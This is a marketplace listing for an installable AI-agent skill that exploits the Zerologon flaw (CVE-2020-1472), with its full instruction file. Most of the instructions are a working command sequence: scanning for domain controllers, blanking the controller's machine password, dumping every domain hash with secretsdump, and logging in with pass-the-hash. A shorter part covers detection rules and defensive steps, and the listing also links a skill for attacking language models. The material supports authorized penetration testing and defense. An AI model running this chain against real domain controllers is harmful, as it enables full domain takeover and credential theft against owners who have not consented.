
Exploiting Zerologon Vulnerability
FreeExploit the critical Zerologon vulnerability for security testing.
Free · Opens the source repo
What Exploiting Zerologon Vulnerability does
The Exploiting Zerologon Vulnerability skill is designed for security professionals engaged in red teaming and penetration testing. This skill leverages the CVE-2020-1472 vulnerability found in the Microsoft Netlogon Remote Protocol, enabling users to reset a domain controller's machine account password to an empty string. By exploiting this vulnerability, an attacker can gain unauthorized access to sensitive domain credentials, making it a critical tool for validating the security posture of Active Directory environments.
The skill works by utilizing the Impacket toolkit to perform the exploit. Once the machine account password is reset, users can execute DCSync to dump domain credentials, facilitating further security assessments. It's important to note that this skill is intended for authorized security testing only, and users must ensure they have the necessary permissions before executing any actions. The skill also includes functionality to restore the machine account password after exploitation, which is crucial for maintaining the integrity of Active Directory services.
This skill is particularly useful in scenarios where organizations need to assess their defenses against known vulnerabilities. By simulating an attack using the Zerologon exploit, security teams can identify weaknesses in their configurations and implement necessary mitigations. The skill provides a hands-on approach to understanding the implications of the Zerologon vulnerability and helps build detection capabilities based on offensive techniques.
However, users should be aware of the legal implications of using this skill. Unauthorized exploitation of systems can lead to severe penalties under computer fraud laws. Therefore, it is essential to conduct all testing within a controlled environment with explicit written authorization from the system owner.
When to use it
Use this skill during authorized penetration testing engagements or red team exercises to exploit the Zerologon vulnerability and assess the security of domain controllers.
When not to use it
This skill is not suitable for use against systems without explicit permission, as unauthorized exploitation is illegal and unethical.
What you can build with it
Red Team Engagements
Utilize the skill during red team exercises to simulate an attack against a domain controller and assess security measures.
Vulnerability Assessments
Employ the skill to validate the presence of the Zerologon vulnerability in Active Directory environments and identify areas for improvement.
Malware Analysis
Use the skill in a controlled environment to analyze malware samples that may exploit the Zerologon vulnerability.
How to install Exploiting Zerologon Vulnerability
View source1. Install with the skills CLI
npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-zerologon-vulnerability-cve-2020-1472 --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by mukul975Exploiting Zerologon Vulnerability (CVE-2020-1472)
Overview
Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).
When to Use
- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)
- No authentication required (unauthenticated exploit)
- Target DC must not have the February 2021 enforcement mode enabled
- Impacket toolkit installed
- Written authorization for red team engagement
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |
| T1210 | Exploitation of Remote Services | Lateral Movement |
| T1003.006 | OS Credential Dumping: DCSync | Credential Access |
| T1078.002 | Valid Accounts: Domain Accounts | Persistence |
Vulnerability Technical Details
Root Cause
The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:
- The IV is hardcoded to 16 bytes of zeros
- When the plaintext is 8 bytes of zeros, AES-CFB8 produces a ciphertext of all zeros with probability 1 in 256
- An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed
Affected Systems
- Windows Server 2008 R2 through Windows Server 2019
- All domain controllers running unpatched Netlogon service
- Samba versions < 4.8 (if running as AD DC)
Step 1: Identify Vulnerable Domain Controllers
# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1
# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
Step 2: Exploit Zerologon
# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1
# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
Step 3: DCSync with Empty Password
# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
Step 4: Obtain Domain Admin Access
# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
Step 5: Restore Machine Account Password (CRITICAL)
WARNING: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.
# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime
Detection
Windows Event Logs
Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period
Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt
Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP
Network Detection
# Suricata rule for Zerologon
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
Sigma Rule
title: Zerologon Exploitation Attempt
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
Defensive Recommendations
- Apply patches immediately - KB4571694 (August 2020) and enforce February 2021 mode
- Enable enforcement mode via registry:
FullSecureChannelProtection = 1 - Monitor Event ID 5805 for repeated Netlogon failures
- Deploy Microsoft Defender for Identity (detects Zerologon automatically)
- Network segmentation - Restrict direct access to DCs from user networks
- Block Netlogon RPC from non-DC systems where possible
References
- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura Whitepaper: https://www.secura.com/blog/zero-logon
- CrowdStrike Advisory: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA Alert AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- Microsoft Enforcement: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24
Frequently asked questions about Exploiting Zerologon Vulnerability
Similar skills
Cloudflare Security Audit
Perform authorized security audits on codebases.
Authenticated Scan with OpenVAS
Perform deep vulnerability scans using OpenVAS with credentials.
Active Directory Penetration Test
Conduct focused AD penetration tests with ease.
Active Directory BloodHound Analysis
Visualize Active Directory attack paths and risks.
Orchestrating LLM Attacks with PyRIT
Automate multi-turn adversarial attacks against LLMs.
Operating Sliver C2
Deploy and manage Sliver C2 for red-team engagements.
